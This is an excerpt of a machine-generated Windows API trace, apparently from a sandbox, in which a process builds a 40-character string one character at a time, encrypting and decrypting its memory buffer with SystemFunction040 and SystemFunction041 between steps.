0x0 [0137.572] SysStringLen (param_1="L25myKl6ZHvUPwᑷ凓") returned 0x10 [0137.572] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.572] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\x59d4\x9c7\x7e4f\x7c17\xff1b\xc8db\x7cf5\x1f64") returned 0x10 [0137.572] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\x59d4\x9c7\x7e4f\x7c17\xff1b\xc8db\x7cf5\x1f64") returned 0x10 [0137.572] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.572] SysStringLen (param_1="L25myKl6ZHvUPwJ凓") returned 0x10 [0137.572] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.572] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xdfc6\x7ebf\x84b2\xe921\x816\xee3b\x5b5b\xdff2") returned 0x10 [0137.572] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xdfc6\x7ebf\x84b2\xe921\x816\xee3b\x5b5b\xdff2") returned 0x10 [0137.572] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.572] SysStringLen (param_1="L25myKl6ZHvUPwJr") returned 0x10 [0137.572] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.572] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2") returned 0x10 [0137.572] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2") returned 0x10 [0137.572] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2") returned 0x10 [0137.572] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2") returned 0x18 [0137.572] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.573] SysStringLen (param_1="L25myKl6ZHvUPwJrZ뇊ᖛ䎒式铬䰁") returned 0x18 [0137.573] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.573] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x1b3b\xedfb\xb014\x8acc\xe85c\x1819\x990d\xc19e") returned 0x18 [0137.573] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x1b3b\xedfb\xb014\x8acc\xe85c\x1819\x990d\xc19e") returned 0x18 [0137.573] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.573] SysStringLen (param_1="L25myKl6ZHvUPwJrZAᖛ䎒式铬䰁") returned 0x18 [0137.573] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.573] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x36ca\x804d\x3f4f\x5f13\x93e\x42a4\xbee3\x8e07") returned 0x18 [0137.573] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x36ca\x804d\x3f4f\x5f13\x93e\x42a4\xbee3\x8e07") returned 0x18 [0137.573] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.573] SysStringLen (param_1="L25myKl6ZHvUPwJrZAu䎒式铬䰁") returned 0x18 [0137.573] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.573] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x8d45\x93b0\x5488\x9739\xa459\x4ca2\x1782\x3b1") returned 0x18 [0137.573] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x8d45\x93b0\x5488\x9739\xa459\x4ca2\x1782\x3b1") returned 0x18 [0137.573] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.573] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux式铬䰁") returned 0x18 [0137.573] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.574] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x6eb8\x6804\x1f68\xfae\xe56c\xf55e\xebf4\xf96d") returned 0x18 [0137.574] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x6eb8\x6804\x1f68\xfae\xe56c\xf55e\xebf4\xf96d") returned 0x18 [0137.574] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.574] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0铬䰁") returned 0x18 [0137.574] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.574] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xde2\xfd88\x1077\x7bfd\x7083\x30bd\x8cc8\x8b1b") returned 0x18 [0137.574] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xde2\xfd88\x1077\x7bfd\x7083\x30bd\x8cc8\x8b1b") returned 0x18 [0137.574] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.574] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0x铬䰁") returned 0x18 [0137.574] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.574] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x2a6a\xb1fb\x23b9\xf29c\xefb7\x510d\xa09\x3c4c") returned 0x18 [0137.574] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\x2a6a\xb1fb\x23b9\xf29c\xefb7\x510d\xa09\x3c4c") returned 0x18 [0137.574] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.574] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xS䰁") returned 0x18 [0137.574] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.574] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xba61\xe443\xa6e\x5e70\x3c81\x6c22\xb147\xf3a0") returned 0x18 [0137.574] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xba61\xe443\xa6e\x5e70\x3c81\x6c22\xb147\xf3a0") returned 0x18 [0137.574] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.574] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xST") returned 0x18 [0137.574] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce") returned 0x18 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce") returned 0x18 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce") returned 0x18 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce") returned 0x20 [0137.575] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.575] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTq൝暭튠鍎⬱") returned 0x20 [0137.575] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x6545\xe2\xf094\x6368\x76fa\x6c79\xbaa9\x3e90") returned 0x20 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x6545\xe2\xf094\x6368\x76fa\x6c79\xbaa9\x3e90") returned 0x20 [0137.575] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.575] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqD暭튠鍎⬱") returned 0x20 [0137.575] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x510a\x6ef3\x3fb3\x4bf8\x3279\x92fd\xb646\xe7cd") returned 0x20 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x510a\x6ef3\x3fb3\x4bf8\x3279\x92fd\xb646\xe7cd") returned 0x20 [0137.575] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.575] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDo튠鍎⬱") returned 0x20 [0137.575] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xea64\x411a\x3fa2\x99bb\x9450\x178\xf5c4\x24e") returned 0x20 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xea64\x411a\x3fa2\x99bb\x9450\x178\xf5c4\x24e") returned 0x20 [0137.575] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.575] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoS鍎⬱") returned 0x20 [0137.575] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x2a91\x149b\x9123\x8d07\x870f\xe2c1\xf8ba\x460b") returned 0x20 [0137.575] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x2a91\x149b\x9123\x8d07\x870f\xe2c1\xf8ba\x460b") returned 0x20 [0137.575] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.576] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd⬱") returned 0x20 [0137.576] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.576] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x51fb\x8f55\x4684\xb3f2\x847e\xcbb2\xd569\x81f7") returned 0x20 [0137.576] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x51fb\x8f55\x4684\xb3f2\x847e\xcbb2\xd569\x81f7") returned 0x20 [0137.576] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.576] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4") returned 0x20 [0137.576] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.576] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x4a65\x7f1b\xe032\x167f\x464c\x6799\x4245\x156") returned 0x20 [0137.576] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\x4a65\x7f1b\xe032\x167f\x464c\x6799\x4245\x156") returned 0x20 [0137.576] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.576] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4w") returned 0x20 [0137.576] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.576] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xd82a\x546b\xc2fc\x1b0a\xb64\x3381\x6eb8\x97ae") returned 0x20 [0137.576] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xd82a\x546b\xc2fc\x1b0a\xb64\x3381\x6eb8\x97ae") returned 0x20 [0137.576] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.576] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4wh") returned 0x20 [0137.576] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.576] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f") returned 0x20 [0137.576] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f") returned 0x20 [0137.576] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f") returned 0x20 [0137.577] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f") returned 0x28 [0137.577] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.577] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whv谘蕸嫠景⎬") returned 0x28 [0137.577] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.577] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\x295d\xf42d\x3613\x3c55\x3a1\x677e\xbddb\x7412") returned 0x28 [0137.577] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\x295d\xf42d\x3613\x3c55\x3a1\x677e\xbddb\x7412") returned 0x28 [0137.577] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.577] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvU谘蕸嫠景⎬") returned 0x28 [0137.577] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.577] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xf806\xcd16\x224c\x4bf9\x16f5\x6e53\x9f50\x25e2") returned 0x28 [0137.577] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xf806\xcd16\x224c\x4bf9\x16f5\x6e53\x9f50\x25e2") returned 0x28 [0137.577] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.577] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUK蕸嫠景⎬") returned 0x28 [0137.577] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.577] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\x850\xd6d0\x5835\x9879\xb240\x8b25\x1698\x1e89") returned 0x28 [0137.577] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\x850\xd6d0\x5835\x9879\xb240\x8b25\x1698\x1e89") returned 0x28 [0137.577] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.577] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUKR嫠景⎬") returned 0x28 [0137.577] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.577] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\x5ee\xbe4c\x145\x504c\xfc93\xa730\xe910\x65aa") returned 0x28 [0137.577] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\x5ee\xbe4c\x145\x504c\xfc93\xa730\xe910\x65aa") returned 0x28 [0137.577] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.578] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUKRe景⎬") returned 0x28 [0137.578] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\x6dc9\xb7da\x8aa2\x8ec0\x4504\x3bac\x712e\xd13e") returned 0x28 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\x6dc9\xb7da\x8aa2\x8ec0\x4504\x3bac\x712e\xd13e") returned 0x28 [0137.578] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.578] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUKRew景⎬") returned 0x28 [0137.578] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xf73\x1834\x5c87\x857c\xfac5\xa5e0\x5645\x843e") returned 0x28 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xf73\x1834\x5c87\x857c\xfac5\xa5e0\x5645\x843e") returned 0x28 [0137.578] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.578] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUKRew5⎬") returned 0x28 [0137.578] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xd03d\xe0c3\x1969\x9dba\xd89d\xbfe5\x49c8\x8f0d") returned 0x28 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xd03d\xe0c3\x1969\x9dba\xd89d\xbfe5\x49c8\x8f0d") returned 0x28 [0137.578] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.578] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUKRew5s") returned 0x28 [0137.578] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) 